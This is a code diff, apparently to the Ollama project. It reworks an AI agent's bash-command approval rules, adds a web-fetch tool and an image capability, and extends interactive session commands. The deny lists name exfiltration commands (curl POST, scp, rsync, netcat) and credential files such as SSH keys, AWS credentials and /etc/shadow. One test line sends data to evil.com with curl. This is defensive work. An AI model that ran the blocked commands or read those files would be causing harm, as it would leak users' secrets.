 		}

types/model/capability.go

@@ -3,12 +3,13 @@ package model
 type Capability string
 
 const (
-	CapabilityCompletion = Capability("completion")
-	CapabilityTools      = Capability("tools")
-	CapabilityInsert     = Capability("insert")
-	CapabilityVision     = Capability("vision")
-	CapabilityEmbedding  = Capability("embedding")
-	CapabilityThinking   = Capability("thinking")
+	CapabilityCompletion      = Capability("completion")
+	CapabilityTools           = Capability("tools")
+	CapabilityInsert          = Capability("insert")
+	CapabilityVision          = Capability("vision")
+	CapabilityEmbedding       = Capability("embedding")
+	CapabilityThinking        = Capability("thinking")
+	CapabilityImageGeneration = Capability("image")
 )
 
 func (c Capability) String() string {

x/README.md

@@ -1,24 +0,0 @@
-# Experimental Features 
-
-## MLX Backend
-
-We're working on a new experimental backend based on the [MLX project](https://github.com/ml-explore/mlx)
-
-Support is currently limited to MacOS and Linux with CUDA GPUs.  We're looking to add support for Windows CUDA soon, and other GPU vendors.  To build:
-
-```
-cmake --preset MLX
-cmake --build --preset MLX --parallel
-cmake --install --component MLX
-go build -tags mlx .
-```
-
-On linux, use the preset "MLX CUDA 13" or "MLX CUDA 12" to enable CUDA with the default Ollama NVIDIA GPU architectures enabled. 
-
-## Image Generation
-
-Based on the experimental MLX backend, we're working on adding imagegen support.  After running the cmake commands above:
-
-```
-go build -o imagegen ./x/imagegen/cmd/engine
-```

x/agent/approval.go

@@ -41,6 +41,7 @@ var optionLabels = []string{
 var toolDisplayNames = map[string]string{
 	"bash":       "Bash",
 	"web_search": "Web Search",
+	"web_fetch":  "Web Fetch",
 }
 
 // ToolDisplayName returns the human-readable display name for a tool.
@@ -70,6 +71,9 @@ var autoAllowCommands = map[string]bool{
 // autoAllowPrefixes are command prefixes that are always allowed.
 // These are read-only or commonly-needed development commands.
 var autoAllowPrefixes = []string{
+	// Git read-only
+	"git status", "git log", "git diff", "git branch", "git show",
+	"git remote -v", "git tag", "git stash list",
 	// Package managers - run scripts
 	"npm run", "npm test", "npm start",
 	"bun run", "bun test",
@@ -88,9 +92,6 @@ var autoAllowPrefixes = []string{
 }
 
 // denyPatterns are dangerous command patterns that are always blocked.
-// NOTE: Some network patterns (curl POST, scp, rsync) moved to warnPatterns
-// to allow user escalation with explicit approval.
-// These patterns use word boundary matching to avoid false positives (e.g., "nc " won't match "rsync").
 var denyPatterns = []string{
 	// Destructive commands
 	"rm -rf", "rm -fr",
@@ -101,8 +102,19 @@ var denyPatterns = []string{
 	"sudo ", "su ", "doas ",
 	"chmod 777", "chmod -R 777",
 	"chown ", "chgrp ",
-	// Network tools (raw sockets - still blocked)
+	// Network exfiltration
+	"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
+	"wget --post",
 	"nc ", "netcat ",
+	"scp ", "rsync ",
+	// History and credentials
+	"history",
+	".bash_history", ".zsh_history",
+	".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
+	".ssh/config",
+	".aws/credentials", ".aws/config",
+	".gnupg/",
+	"/etc/shadow", "/etc/passwd",
 	// Dangerous patterns
 	":(){ :|:& };:", // fork bomb
 	"chmod +s",      // setuid
@@ -110,20 +122,11 @@ var denyPatterns = []string{
 }
 
 // denyPathPatterns are file patterns that should never be accessed.
-// These are checked using simple substring matching.
+// These are checked as exact filename matches or path suffixes.
 var denyPathPatterns = []string{
-	// History files
-	"history",
-	".bash_history", ".zsh_history",
-	// SSH keys and config
-	".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
-	".ssh/config",
-	// Cloud credentials
-	".aws/credentials", ".aws/config",
-	".gnupg/",
-	// System credentials
-	"/etc/shadow", "/etc/passwd",
-	// Secrets files
+	".env",
+	".env.local",
+	".env.production",
 	"credentials.json",
 	"secrets.json",
 	"secrets.yaml",
@@ -132,25 +135,6 @@ var denyPathPatterns = []string{
 	".key",
 }
 
-// warnPatterns are patterns that require explicit approval with warning.
-// These are potentially risky but legitimate in some contexts.
-// Unlike denyPatterns, these show a warning but allow user approval.
-var warnPatterns = []string{
-	// Network operations (user may need for legitimate API testing)
-	"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
-	"wget --post",
-	// File transfer (user may need for deployments)
-	"scp ", "rsync ",
-}
-
-// warnPathPatterns are file patterns that require explicit approval with warning.
-// Unlike denyPathPatterns, these show a warning but allow user approval.
-var warnPathPatterns = []string{
-	".env",
-	".env.local",
-	".env.production",
-}
-
 // ApprovalManager manages tool execution approvals.
 type ApprovalManager struct {
 	allowlist map[string]bool // exact matches
@@ -193,8 +177,7 @@ func IsDenied(command string) (bool, string) {
 
 	// Check deny patterns
 	for _, pattern := range denyPatterns {
-		patternLower := strings.ToLower(pattern)
-		if containsWord(commandLower, patternLower) {
+		if strings.Contains(commandLower, strings.ToLower(pattern)) {
 			return true, pattern
 		}
 	}
@@ -209,57 +192,6 @@ func IsDenied(command string) (bool, string) {
 	return false, ""
 }
 
-// containsWord checks if a command contains a pattern as a word/command.
-// This handles patterns like "nc " which should match "nc -l 8080" but not "rsync -avz".
-// The pattern is considered a match if:
-// - It appears at the start of the command, OR
-// - It's preceded by a space, pipe, semicolon, or other delimiter
-func containsWord(command, pattern string) bool {
-	// Simple contains check first
-	if !strings.Contains(command, pattern) {
-		return false
-	}
-
-	// Check if pattern is at the start
-	if strings.HasPrefix(command, pattern) {
-		return true
-	}
-
-	// Check if pattern is preceded by a delimiter (space, pipe, semicolon, &, etc.)
-	delimiters := []string{" ", "|", ";", "&", "(", "`", "$"}
-	for _, delim := range delimiters {
-		if strings.Contains(command, delim+pattern) {
-			return true
-		}
-	}
-
-	return false
-}
-
-// IsWarn checks if a bash command matches warning patterns.
-// These are patterns that require explicit user approval with a warning,
-// but are not completely blocked like deny patterns.
-// Returns true and the matched pattern if it should warn.
-func IsWarn(command string) (bool, string) {
-	commandLower := strings.ToLower(command)
-
-	// Check warn patterns
-	for _, pattern := range warnPatterns {
-		if strings.Contains(commandLower, strings.ToLower(pattern)) {
-			return true, pattern
-		}
-	}
-
-	// Check warn path patterns
-	for _, pattern := range warnPathPatterns {
-		if strings.Contains(commandLower, strings.ToLower(pattern)) {
-			return true, pattern
-		}
-	}
-
-	return false, ""
-}
-
 // FormatDeniedResult returns the tool result message when a command is blocked.
 func FormatDeniedResult(command string, pattern string) string {
 	return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern)
@@ -267,7 +199,6 @@ func FormatDeniedResult(command string, pattern string) string {
 
 // extractBashPrefix extracts a prefix pattern from a bash command.
 // For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/"
-// For git commands like "git log x/agent/", returns "git log:x/agent/" (includes subcommand)
 // For commands without path args, returns empty string.
 // Paths with ".." traversal that escape the base directory return empty string for security.
 func extractBashPrefix(command string) string {
@@ -289,30 +220,12 @@ func extractBashPrefix(command string) string {
 		"less": true, "more": true, "file": true, "wc": true,
 		"grep": true, "find": true, "tree": true, "stat": true,
 		"sed": true,
-		"git": true, // git commands with path args (e.g., git log x/agent/)
 	}
 
 	if !safeCommands[baseCmd] {
 		return ""
 	}
 
-	// For git commands, extract the subcommand for more granular allowlisting
-	var subCmd string
-	if baseCmd == "git" && len(fields) >= 2 {
-		// Git subcommand is the second field (e.g., "log", "status", "diff")
-		// Skip options like "-v" - the first non-option argument is the subcommand
-		for _, arg := range fields[1:] {
-			if !strings.HasPrefix(arg, "-") {
-				subCmd = arg
-				break
-			}
-		}
-		// If no subcommand found (unlikely for git), use empty string
-		if subCmd == "" {
-			subCmd = "unknown"
-		}
-	}
-
 	// Find the first path-like argument (must contain / or \ or start with .)
 	// First pass: look for clear paths (containing path separators or starting with .)
 	for _, arg := range fields[1:] {
@@ -324,10 +237,6 @@ func extractBashPrefix(command string) string {
 		if isNumeric(arg) {
 			continue
 		}
-		// For git, skip the subcommand itself when looking for paths
-		if baseCmd == "git" && arg == subCmd {
-			continue
-		}
 		// Only process if it looks like a path (contains / or \ or starts with .)
 		if !strings.Contains(arg, "/") && !strings.Contains(arg, "\\") && !strings.HasPrefix(arg, ".") {
 			continue
@@ -369,13 +278,6 @@ func extractBashPrefix(command string) string {
 			dir = path.Dir(cleaned)
 		}
 
-		// Build prefix with subcommand for git, or just baseCmd for others
-		if baseCmd == "git" {
-			if dir == "." {
-				return fmt.Sprintf("git %s:./", subCmd)
-			}
-			return fmt.Sprintf("git %s:%s/", subCmd, dir)
-		}
 		if dir == "." {
 			return fmt.Sprintf("%s:./", baseCmd)
 		}
@@ -383,7 +285,6 @@ func extractBashPrefix(command string) string {
 	}
 
 	// Second pass: if no clear path found, use the first non-flag argument as a filename
-	// For git, we still allow ./ prefix even without path args (git status, git stash, etc.)
 	for _, arg := range fields[1:] {
 		if strings.HasPrefix(arg, "-") {
 			continue
@@ -391,12 +292,6 @@ func extractBashPrefix(command string) string {
 		if isNumeric(arg) {
 			continue
 		}
-		// For git, skip the subcommand when checking for path args
-		if baseCmd == "git" && arg == subCmd {
-			// Git commands without path args (git status, git stash, etc.)
-			// Still return a prefix with subcommand and current directory
-			return fmt.Sprintf("git %s:./", subCmd)
-		}
 		// Treat as filename in current dir
 		return fmt.Sprintf("%s:./", baseCmd)
 	}
@@ -600,37 +495,24 @@ func (a *ApprovalManager) RequestApproval(toolName string, args map[string]any)
 	// This prevents buffered input from causing double-press issues
 	flushStdin(fd)
 
-	// Check if bash command should show warning
-	// Warning is shown for: commands outside cwd, or commands matching warn patterns
 	isWarning := false
 	var warningMsg string
 	var allowlistInfo string
 	if toolName == "bash" {
 		if cmd, ok := args["command"].(string); ok {
-			// Check for outside cwd warning
 			if isCommandOutsideCwd(cmd) {
 				isWarning = true
 				warningMsg = "command targets paths outside project"
 			}
-			// Check for warn patterns (curl POST, scp, rsync, .env files)
-			if warned, pattern := IsWarn(cmd); warned {
-				isWarning = true
-				warningMsg = fmt.Sprintf("matches warning pattern: %s", pattern)
-			}
-			// Generate allowlist info for display
-			prefix := extractBashPrefix(cmd)
-			if prefix != "" {
-				// Parse prefix format "cmd:path/" into command and directory
+			if prefix := extractBashPrefix(cmd); prefix != "" {
 				colonIdx := strings.Index(prefix, ":")
 				if colonIdx != -1 {
 					cmdName := prefix[:colonIdx]
 					dirPath := prefix[colonIdx+1:]
-					// Include "(includes subdirs)" for directories that allow hierarchical matching
-					// ./ is special - it only allows files in current dir, not subdirs
 					if dirPath != "./" {
-						allowlistInfo = fmt.Sprintf("Allow for this session: %s in %s directory (includes subdirs)", cmdName, dirPath)
+						allowlistInfo = fmt.Sprintf("%s in %s directory (includes subdirs)", cmdName, dirPath)
 					} else {
-						allowlistInfo = fmt.Sprintf("Allow for this session: %s in %s directory", cmdName, dirPath)
+						allowlistInfo = fmt.Sprintf("%s in %s directory", cmdName, dirPath)
 					}
 				}
 			}
@@ -684,6 +566,16 @@ func formatToolDisplay(toolName string, args map[string]any) string {
 		}
 	}
 
+	// For web fetch, show URL and internet notice
+	if toolName == "web_fetch" {
+		if url, ok := args["url"].(string); ok {
+			sb.WriteString(fmt.Sprintf("Tool: %s\n", displayName))
+			sb.WriteString(fmt.Sprintf("URL: %s\n", url))
+			sb.WriteString("Uses internet via ollama.com")
+			return sb.String()
+		}
+	}
+
 	// Generic display
 	sb.WriteString(fmt.Sprintf("Tool: %s", displayName))
 	if len(args) > 0 {
@@ -712,7 +604,7 @@ type selectorState struct {
 	denyReason     string // deny reason (always visible in box)
 	isWarning      bool   // true if command has warning
 	warningMessage string // dynamic warning message to display
-	allowlistInfo  string // show what will be allowlisted (for "Always allow" option)
+	allowlistInfo  string // show what will be allowlisted (for "Allow for this session" option)
 }
 
 // runSelector runs the interactive selector and returns the selected index and optional deny reason.
@@ -926,11 +818,9 @@ func renderSelectorBox(state *selectorState) {
 	// Blank line separator
 	fmt.Fprintf(os.Stderr, "\033[K\r\n")
 
-	// Draw options
 	for i, label := range optionLabels {
-		if i == 2 { // Deny option with input
+		if i == 2 {
 			denyLabel := "3. Deny: "
-			// Show placeholder if empty, actual input if typing
 			inputDisplay := state.denyReason
 			if inputDisplay == "" {
 				inputDisplay = "\033[90m(optional reason)\033[0m"
@@ -941,7 +831,6 @@ func renderSelectorBox(state *selectorState) {
 				fmt.Fprintf(os.Stderr, "  \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
 			}
 		} else {
-			// Show allowlist info beside "Allow for this session" (index 1)
 			displayLabel := label
 			if i == 1 && state.allowlistInfo != "" {
 				displayLabel = fmt.Sprintf("%s  \033[90m%s\033[0m", label, state.allowlistInfo)
@@ -977,9 +866,8 @@ func updateSelectorOptions(state *selectorState) {
 	linesToMove := len(hintLines) - 1 + 1 + len(optionLabels)
 	fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
 
-	// Redraw options
 	for i, label := range optionLabels {
-		if i == 2 { // Deny option
+		if i == 2 {
 			denyLabel := "3. Deny: "
 			inputDisplay := state.denyReason
 			if inputDisplay == "" {
@@ -991,7 +879,6 @@ func updateSelectorOptions(state *selectorState) {
 				fmt.Fprintf(os.Stderr, "  \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
 			}
 		} else {
-			// Show allowlist info beside "Allow for this session" (index 1)
 			displayLabel := label
 			if i == 1 && state.allowlistInfo != "" {
 				displayLabel = fmt.Sprintf("%s  \033[90m%s\033[0m", label, state.allowlistInfo)
@@ -1113,11 +1000,11 @@ func FormatApprovalResult(toolName string, args map[string]any, result ApprovalR
 
 	switch result.Decision {
 	case ApprovalOnce:
-		label = "approved"
+		label = "Approved"
 	case ApprovalAlways:
-		label = "always allowed"
+		label = "Always allowed"
 	case ApprovalDeny:
-		label = "denied"
+		label = "Denied"
 	}
 
 	// Format based on tool type
@@ -1141,6 +1028,16 @@ func FormatApprovalResult(toolName string, args map[string]any, result ApprovalR
 		}
 	}
 
+	if toolName == "web_fetch" {
+		if url, ok := args["url"].(string); ok {
+			// Truncate long URLs
+			if len(url) > 50 {
+				url = url[:47] + "..."
+			}
+			return fmt.Sprintf("\033[1m%s:\033[0m %s: %s", label, displayName, url)
+		}
+	}
+
 	return fmt.Sprintf("\033[1m%s:\033[0m %s", label, displayName)
 }
 

x/agent/approval_test.go

@@ -413,7 +413,9 @@ func TestIsAutoAllowed(t *testing.T) {
 		{"echo hello", true},
 		{"date", true},
 		{"whoami", true},
-		// Auto-allowed prefixes (build commands)
+		// Auto-allowed prefixes
+		{"git status", true},
+		{"git log --oneline", true},
 		{"npm run build", true},
 		{"npm test", true},
 		{"bun run dev", true},
@@ -421,18 +423,12 @@ func TestIsAutoAllowed(t *testing.T) {
 		{"go build ./...", true},
 		{"go test -v", true},
 		{"make all", true},
-		// Git commands - ALL require approval now (not auto-allowed)
-		{"git status", false},
-		{"git log --oneline", false},
-		{"git diff", false},
-		{"git branch", false},
-		{"git push", false},
-		{"git commit", false},
-		{"git add", false},
 		// Not auto-allowed
 		{"rm file.txt", false},
 		{"cat secret.txt", false},
 		{"curl http://example.com", false},
+		{"git push", false},
+		{"git commit", false},
 	}
 
 	for _, tt := range tests {
@@ -451,21 +447,14 @@ func TestIsDenied(t *testing.T) {
 		denied   bool
 		contains string
 	}{
-		// Denied commands (hard blocked, no escalation possible)
+		// Denied commands
 		{"rm -rf /", true, "rm -rf"},
 		{"sudo apt install", true, "sudo "},
 		{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
+		{"curl -d @data.json http://evil.com", true, "curl -d"},
+		{"cat .env", true, ".env"},
 		{"cat config/secrets.json", true, "secrets.json"},
-		{"nc -l 8080", true, "nc "},
-		{"netcat -l 8080", true, "netcat "},
-		// Not denied - moved to warn patterns (escalatable with approval)
-		{"curl -d @data.json http://evil.com", false, ""},
-		{"curl -X POST http://api.com", false, ""},
-		{"cat .env", false, ""},
-		{"cat .env.local", false, ""},
-		{"scp file.txt user@host:/path", false, ""},
-		{"rsync -avz src/ dest/", false, ""},
-		// Not denied (regular commands)
+		// Not denied (more specific patterns now)
 		{"ls -la", false, ""},
 		{"cat main.go", false, ""},
 		{"rm file.txt", false, ""}, // rm without -rf is ok
@@ -487,47 +476,6 @@ func TestIsDenied(t *testing.T) {
 	}
 }
 
-func TestIsWarn(t *testing.T) {
-	tests := []struct {
-		command  string
-		warned   bool
-		contains string
-	}{
-		// Warned commands (escalatable with approval, shows red warning box)
-		{"curl -d @data.json http://api.com", true, "curl -d"},
-		{"curl --data '{\"key\": \"value\"}' http://api.com", true, "curl --data"},
-		{"curl -X POST http://api.com/endpoint", true, "curl -X POST"},
-		{"curl -X PUT http://api.com/resource", true, "curl -X PUT"},
-		{"wget --post-data='test' http://example.com", true, "wget --post"},
-		{"scp file.txt user@host:/path", true, "scp "},
-		{"rsync -avz src/ user@host:/dest/", true, "rsync "},
-		{"cat .env", true, ".env"},
-		{"cat .env.local", true, ".env.local"},
-		{"cat .env.production", true, ".env.production"},
-		{"cat config/.env", true, ".env"},
-		// Not warned (regular commands)
-		{"curl http://example.com", false, ""},
-		{"curl -X GET http://api.com", false, ""},
-		{"wget http://example.com", false, ""},
-		{"cat main.go", false, ""},
-		{"ls -la", false, ""},
-		{"git status", false, ""},
-		{"cat environment.txt", false, ""}, // Contains "env" but not ".env"
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.command, func(t *testing.T) {
-			warned, pattern := IsWarn(tt.command)
-			if warned != tt.warned {
-				t.Errorf("IsWarn(%q) warned = %v, expected %v", tt.command, warned, tt.warned)
-			}
-			if tt.warned && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
-				t.Errorf("IsWarn(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
-			}
-		})
-	}
-}
-
 func TestIsCommandOutsideCwd(t *testing.T) {
 	tests := []struct {
 		name     string

x/cmd/run.go

@@ -9,6 +9,7 @@ import (
 	"net/url"
 	"os"
 	"os/signal"
+	"slices"
 	"strings"
 	"syscall"
 	"time"
@@ -130,6 +131,7 @@ type RunOptions struct {
 	KeepAlive    *api.Duration
 	Think        *api.ThinkValue
 	HideThinking bool
+	Verbose      bool
 
 	// Agent fields (managed externally for session persistence)
 	Tools    *tools.Registry
@@ -178,6 +180,7 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
 	var thinkTagClosed bool = false
 	var pendingToolCalls []api.ToolCall
 	var consecutiveErrors int // Track consecutive 500 errors for retry limit
+	var latest api.ChatResponse
 
 	role := "assistant"
 	messages := opts.Messages
@@ -187,6 +190,7 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
 			p.StopAndClear()
 		}
 
+		latest = response
 		role = response.Message.Role
 		if response.Message.Thinking != "" && !opts.HideThinking {
 			if !thinkTagOpened {
@@ -364,10 +368,11 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
 					}
 
 					// Check if command is auto-allowed (safe command)
-					if agent.IsAutoAllowed(cmd) {
-						fmt.Fprintf(os.Stderr, "\033[1mauto-allowed:\033[0m %s\n", formatToolShort(toolName, args))
-						skipApproval = true
-					}
+					// TODO(parthsareen): re-enable with tighter scoped allowlist
+					// if agent.IsAutoAllowed(cmd) {
+					// 	fmt.Fprintf(os.Stderr, "\033[1mauto-allowed:\033[0m %s\n", formatToolShort(toolName, args))
+					// 	skipApproval = true
+					// }
 				}
 			}
 
@@ -482,6 +487,10 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
 		fmt.Println()
 	}
 
+	if opts.Verbose {
+		latest.Summary()
+	}
+
 	return &api.Message{Role: role, Thinking: thinkingContent.String(), Content: fullResponse.String()}, nil
 }
 
@@ -633,12 +642,13 @@ func checkModelCapabilities(ctx context.Context, modelName string) (supportsTool
 // GenerateInteractive runs an interactive agent session.
 // This is called from cmd.go when --experimental flag is set.
 // If yoloMode is true, all tool approvals are skipped.
-func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, options map[string]any, think *api.ThinkValue, hideThinking bool, keepAlive *api.Duration, yoloMode bool) error {
+// If enableWebsearch is true, the web search tool is registered.
+func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, options map[string]any, think *api.ThinkValue, hideThinking bool, keepAlive *api.Duration, yoloMode bool, enableWebsearch bool) error {
 	scanner, err := readline.New(readline.Prompt{
 		Prompt:         ">>> ",
 		AltPrompt:      "... ",
 		Placeholder:    "Send a message (/? for help)",
-		AltPlaceholder: `Use """ to end multi-line input`,
+		AltPlaceholder: "Press Enter to send",
 	})
 	if err != nil {
 		return err
@@ -658,14 +668,28 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
 	var toolRegistry *tools.Registry
 	if supportsTools {
 		toolRegistry = tools.DefaultRegistry()
-		if toolRegistry.Count() > 0 {
-			fmt.Fprintf(os.Stderr, "\033[90mtools available: %s\033[0m\n", strings.Join(toolRegistry.Names(), ", "))
+
+		// Register web search and web fetch tools if enabled via flag
+		if enableWebsearch {
+			toolRegistry.RegisterWebSearch()
+			toolRegistry.RegisterWebFetch()
 		}
+
+		if toolRegistry.Has("bash") {
+			fmt.Fprintln(os.Stderr)
+			fmt.Fprintln(os.Stderr, "This experimental version of Ollama has the \033[1mbash\033[0m tool enabled.")
+			fmt.Fprintln(os.Stderr, "Models can read files on your computer, or run commands (after you allow them).")
+			fmt.Fprintln(os.Stderr)
+		}
+
+		if toolRegistry.Has("web_search") || toolRegistry.Has("web_fetch") {
+			fmt.Fprintln(os.Stderr, "The \033[1mWeb Search\033[0m and \033[1mWeb Fetch\033[0m tools are enabled. Models can search and fetch web content via ollama.com.")
+			fmt.Fprintln(os.Stderr)
+		}
+
 		if yoloMode {
 			fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m yolo mode - all tool approvals will be skipped\n")
 		}
-	} else {
-		fmt.Fprintf(os.Stderr, "\033[1mnote:\033[0m model does not support tools - running in chat-only mode\n")
 	}
 
 	// Create approval manager for session
@@ -673,6 +697,8 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
 
 	var messages []api.Message
 	var sb strings.Builder
+	var format string
+	var system string
 
 	for {
 		line, err := scanner.Readline()
@@ -684,6 +710,7 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
 			if line == "" {
 				fmt.Println("\nUse Ctrl + d or /bye to exit.")
 			}
+			scanner.Prompt.UseAlt = false
 			sb.Reset()
 			continue
 		case err != nil:
@@ -703,6 +730,10 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
 			continue
 		case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
 			fmt.Fprintln(os.Stderr, "Available Commands:")
+			fmt.Fprintln(os.Stderr, "  /set            Set session variables")
+			fmt.Fprintln(os.Stderr, "  /show           Show model information")
+			fmt.Fprintln(os.Stderr, "  /load           Load a different model")
+			fmt.Fprintln(os.Stderr, "  /save           Save session as a model")
 			fmt.Fprintln(os.Stderr, "  /tools          Show available tools and approvals")
 			fmt.Fprintln(os.Stderr, "  /clear          Clear session context and approvals")
 			fmt.Fprintln(os.Stderr, "  /bye            Exit")
@@ -712,6 +743,280 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
 			fmt.Fprintln(os.Stderr, "  Ctrl+O          Expand last tool output")
 			fmt.Fprintln(os.Stderr, "")
 			continue
+		case strings.HasPrefix(line, "/set"):
+			args := strings.Fields(line)
+			if len(args) > 1 {
+				switch args[1] {
+				case "history":
+					scanner.HistoryEnable()
+				case "nohistory":
+					scanner.HistoryDisable()
+				case "wordwrap":
+					wordWrap = true
+					fmt.Println("Set 'wordwrap' mode.")
+				case "nowordwrap":
+					wordWrap = false
+					fmt.Println("Set 'nowordwrap' mode.")
+				case "verbose":
+					if err := cmd.Flags().Set("verbose", "true"); err != nil {
+						return err
+					}
+					fmt.Println("Set 'verbose' mode.")
+				case "quiet":
+					if err := cmd.Flags().Set("verbose", "false"); err != nil {
+						return err
+					}
+					fmt.Println("Set 'quiet' mode.")
+				case "think":
+					thinkValue := api.ThinkValue{Value: true}
+					var maybeLevel string
+					if len(args) > 2 {
+						maybeLevel = args[2]
+					}
+					if maybeLevel != "" {
+						thinkValue.Value = maybeLevel
+					}
+					think = &thinkValue
+					// Check if model supports thinking
+					if client, err := api.ClientFromEnvironment(); err == nil {
+						if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil {
+							if !slices.Contains(resp.Capabilities, model.CapabilityThinking) {
+								fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName)
+							}
+						}
+					}
+					if maybeLevel != "" {
+						fmt.Printf("Set 'think' mode to '%s'.\n", maybeLevel)
+					} else {
+						fmt.Println("Set 'think' mode.")
+					}
+				case "nothink":
+					think = &api.ThinkValue{Value: false}
+					// Check if model supports thinking
+					if client, err := api.ClientFromEnvironment(); err == nil {
+						if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil {
+							if !slices.Contains(resp.Capabilities, model.CapabilityThinking) {
+								fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName)
+							}
+						}
+					}
+					fmt.Println("Set 'nothink' mode.")
+				case "format":
+					if len(args) < 3 || args[2] != "json" {
+						fmt.Println("Invalid or missing format. For 'json' mode use '/set format json'")
+					} else {
+						format = args[2]
+						fmt.Printf("Set format to '%s' mode.\n", args[2])
+					}
+				case "noformat":
+					format = ""
+					fmt.Println("Disabled format.")
+				case "parameter":
+					if len(args) < 4 {
+						fmt.Println("Usage: /set parameter <name> <value>")
+						continue
+					}
+					params := args[3:]
+					fp, err := api.FormatParams(map[string][]string{args[2]: params})
+					if err != nil {
+						fmt.Printf("Couldn't set parameter: %q\n", err)
+						continue
+					}
+					fmt.Printf("Set parameter '%s' to '%s'\n", args[2], strings.Join(params, ", "))
+					options[args[2]] = fp[args[2]]
+				case "system":
+					if len(args) < 3 {
+						fmt.Println("Usage: /set system <message>")
+						continue
+					}
+
+					system = strings.Join(args[2:], " ")
+					newMessage := api.Message{Role: "system", Content: system}
+					if len(messages) > 0 && messages[len(messages)-1].Role == "system" {
+						messages[len(messages)-1] = newMessage
+					} else {
+						messages = append(messages, newMessage)
+					}
+					fmt.Println("Set system message.")
+					continue
+				default:
+					fmt.Printf("Unknown command '/set %s'. Type /? for help\n", args[1])
+				}
+			} else {
+				fmt.Println("Usage: /set <parameter|system|history|format|wordwrap|think|verbose> [value]")
+			}
+			continue
+		case strings.HasPrefix(line, "/show"):
+			args := strings.Fields(line)
+			if len(args) > 1 {
+				client, err := api.ClientFromEnvironment()
+				if err != nil {
+					fmt.Println("error: couldn't connect to ollama server")
+					continue
+				}
+				req := &api.ShowRequest{
+					Name:    modelName,
+					Options: options,
+				}
+				resp, err := client.Show(cmd.Context(), req)
+				if err != nil {
+					fmt.Println("error: couldn't get model")
+					continue
+				}
+
+				switch args[1] {
+				case "info":
+					fmt.Fprintf(os.Stderr, "  Model\n")
+					fmt.Fprintf(os.Stderr, "    %-16s %s\n", "Name", modelName)
+					if resp.Details.Family != "" {
+						fmt.Fprintf(os.Stderr, "    %-16s %s\n", "Family", resp.Details.Family)
+					}
+					if resp.Details.ParameterSize != "" {
+						fmt.Fprintf(os.Stderr, "    %-16s %s\n", "Parameter Size", resp.Details.ParameterSize)
+					}
+					if resp.Details.QuantizationLevel != "" {
+						fmt.Fprintf(os.Stderr, "    %-16s %s\n", "Quantization", resp.Details.QuantizationLevel)
+					}
+					if len(resp.Capabilities) > 0 {
+						caps := make([]string, len(resp.Capabilities))
+						for i, c := range resp.Capabilities {
+							caps[i] = string(c)
+						}
+						fmt.Fprintf(os.Stderr, "    %-16s %s\n", "Capabilities", strings.Join(caps, ", "))
+					}
+					fmt.Fprintln(os.Stderr)
+				case "license":
+					if resp.License == "" {
+						fmt.Println("No license was specified for this model.")
+					} else {
+						fmt.Println(resp.License)
+					}
+				case "modelfile":
+					fmt.Println(resp.Modelfile)
+				case "parameters":
+					fmt.Println("Model defined parameters:")
+					if resp.Parameters == "" {
+						fmt.Println("  No additional parameters were specified.")
+					} else {
+						for _, l := range strings.Split(resp.Parameters, "\n") {
+							fmt.Printf("  %s\n", l)
+						}
+					}
+					if len(options) > 0 {
+						fmt.Println("\nUser defined parameters:")
+						for k, v := range options {
+							fmt.Printf("  %-30s %v\n", k, v)
+						}
+					}
+				case "system":
+					switch {
+					case system != "":
+						fmt.Println(system + "\n")
+					case resp.System != "":
+						fmt.Println(resp.System + "\n")
+					default:
+						fmt.Println("No system message was specified for this model.")
+					}
+				case "template":
+					if resp.Template != "" {
+						fmt.Println(resp.Template)
+					} else {
+						fmt.Println("No prompt template was specified for this model.")
+					}
+				default:
+					fmt.Printf("Unknown command '/show %s'. Type /? for help\n", args[1])
+				}
+			} else {
+				fmt.Println("Usage: /show <info|license|modelfile|parameters|system|template>")
+			}
+			continue
+		case strings.HasPrefix(line, "/load"):
+			args := strings.Fields(line)
+			if len(args) != 2 {
+				fmt.Println("Usage: /load <modelname>")
+				continue
+			}
+			newModelName := args[1]
+			fmt.Printf("Loading model '%s'\n", newModelName)
+
+			// Create progress spinner
+			p := progress.NewProgress(os.Stderr)
+			spinner := progress.NewSpinner("")
+			p.Add("", spinner)
+
+			// Get client
+			client, err := api.ClientFromEnvironment()
+			if err != nil {
+				p.StopAndClear()
+				fmt.Println("error: couldn't connect to ollama server")
+				continue
+			}
+
+			// Check if model exists and get its info
+			info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: newModelName})
+			if err != nil {
+				p.StopAndClear()
+				if strings.Contains(err.Error(), "not found") {
+					fmt.Printf("Couldn't find model '%s'\n", newModelName)
+				} else {
+					fmt.Printf("error: %v\n", err)
+				}
+				continue
+			}
+
